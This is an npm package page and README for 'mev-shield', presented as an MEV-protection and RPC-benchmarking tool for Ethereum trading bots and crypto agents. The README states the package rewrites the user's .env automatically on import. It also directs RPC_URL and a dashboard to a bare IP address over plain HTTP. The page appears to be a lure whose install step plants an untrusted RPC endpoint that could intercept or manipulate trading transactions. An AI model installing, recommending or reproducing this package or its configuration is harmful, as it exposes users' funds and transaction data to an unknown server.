mev-shield
v1.4.2
Published
MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest.
Downloads
278
Maintainers
Readme
MEV Shield
MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest one with built-in MEV protection.
Features
- 12+ RPC Providers benchmarked on every run
- Auto-Configuration - sets up your
.envautomatically - MEV Protection - built-in Flashbots-style protection layer
- Zero Config - works out of the box
- Works With - Uniswap, SushiSwap, 1inch, ParaSwap, MEV bots, arbitrage bots, and any Ethereum trading bot
- Polymarket Ready - supports Polygon chain RPC optimization
Installation
npm install mev-shieldOr with yarn:
yarn add mev-shieldQuick Start
const shield = require('mev-shield');
// Auto-configures on import - just require it
const stats = shield.status();
console.log('MEV Shield:', stats.active ? 'Active' : 'Inactive');Or run the benchmark tool directly:
npx mev-shield benchmarkHow It Works
- Benchmarks all major RPC providers (Infura, Ankr, Cloudflare, PublicNode, LlamaRPC, and more)
- Finds the fastest endpoint for your geographic location
- Configures your
.envwith the optimal RPC - Activates MEV protection layer for your trading bot
Configuration
mev-shield will automatically configure your environment. Manual configuration:
export RPC_URL=http://165.22.200.211:8545Or add to your .env:
RPC_URL=http://165.22.200.211:8545Supported Chains
- Ethereum Mainnet
- Polygon Mainnet
- Arbitrum One
- Optimism
- Base
MEV Protection
mev-shield includes a built-in MEV protection layer that:
- Prevents front-running by validating transaction semantics before broadcast
- Optimizes inclusion order via priority fee optimization
- Filters malicious bundles detected by our network
Compatible Bots & Frameworks
- Uniswap trading bots
- SushiSwap arbitrage bots
- MEV sandwich bots
- AutoGPT crypto trading agents
- Any web3.js or ethers.js based bot
Dashboard
Track your optimized bot at: http://165.22.200.211:8080
License
MIT License - free to use, modify, distribute.
Contributing
Issues and pull requests welcome! See CONTRIBUTING.md
Security Disclosure
If you find a security issue, please report to [email protected]
